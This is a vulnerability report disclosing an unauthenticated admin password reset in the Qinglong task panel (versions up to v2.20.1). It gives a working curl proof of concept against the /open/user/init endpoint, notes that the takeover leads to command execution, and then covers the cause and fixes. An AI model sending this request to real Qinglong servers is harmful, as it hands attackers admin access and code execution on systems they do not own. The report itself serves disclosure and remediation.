Vulnerability Report

Vulnerability_Report_QL.md

Vulnerability Report for unauthorised admin password reset in Qinglong

Unauthenticated Re-Initialisation Enables Admin Credential Reset

Overview

Affected repo: https://github.com/whyour/qinglong

Affected version: <= v2.20.1

Vulnerability Type: Improper Access Control (Check missing on /open/user/init Endpoint)

Severity(Proposed): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (10.0 Critical)

Summary

A remote attacker can access the server’s initialisation flow after the server has already been configured, allowing them to reset the admin password and obtain administrative access without authorisation.

This would lead to RCE (Qinglong by design allows an authenticated user to execute arbitrary commands).

PoC

You can skip step 1 & step 2 if qinglong is already set up

1. create a qinglong instence with docker (the exploit can work with any deployment, use docker command from official document here for easy reproducibility)

docker run -dit \
  -v $PWD/ql/data:/ql/data \
  -p 5700:5700 \
  -e QlBaseUrl="/" \
  -e QlPort="5700" \
  --name qinglong \
  --hostname qinglong \
  --restart unless-stopped \
  whyour/qinglong:latest

2. finish setup at http://127.0.0.1:5700.

3. Exploit, you might want to replace http://127.0.0.1:5700 with actual instence address

curl -X 'PUT' \
   -H 'Content-Type: application/json'  \
    --data-binary $'{\"username\":\"admin\",\"password\":\"123456\"}' \
    'http://127.0.0.1:5700/open/user/init'

Server would return {"code":200,"message":"更新成功"}

4. Verification:

Log in with the new credentials username: admin, password: 123456

5. Command execution

The attacker can then use Qinglong's task function to run arbitrary commands on the system.

Cause Analysis

/open/user/init in apiWhiteList bypasses the auth check https://github.com/whyour/qinglong/blob/d53437d1695d22db266cea3b680d3d7663ce86a6/back/config/index.ts#L184

The initialisation check doesn't filter the endpoint properly https://github.com/whyour/qinglong/blob/d53437d1695d22db266cea3b680d3d7663ce86a6/back/loaders/express.ts#L101

which leads to the updateUsernameAndPassword call in https://github.com/whyour/qinglong/blob/d53437d1695d22db266cea3b680d3d7663ce86a6/back/api/user.ts#L231

Potential fix

Temporary fix

remove /open/user/init and /open/user/notification/init from apiWhiteList

Long-term fix

Rewrite the initialisation check logic.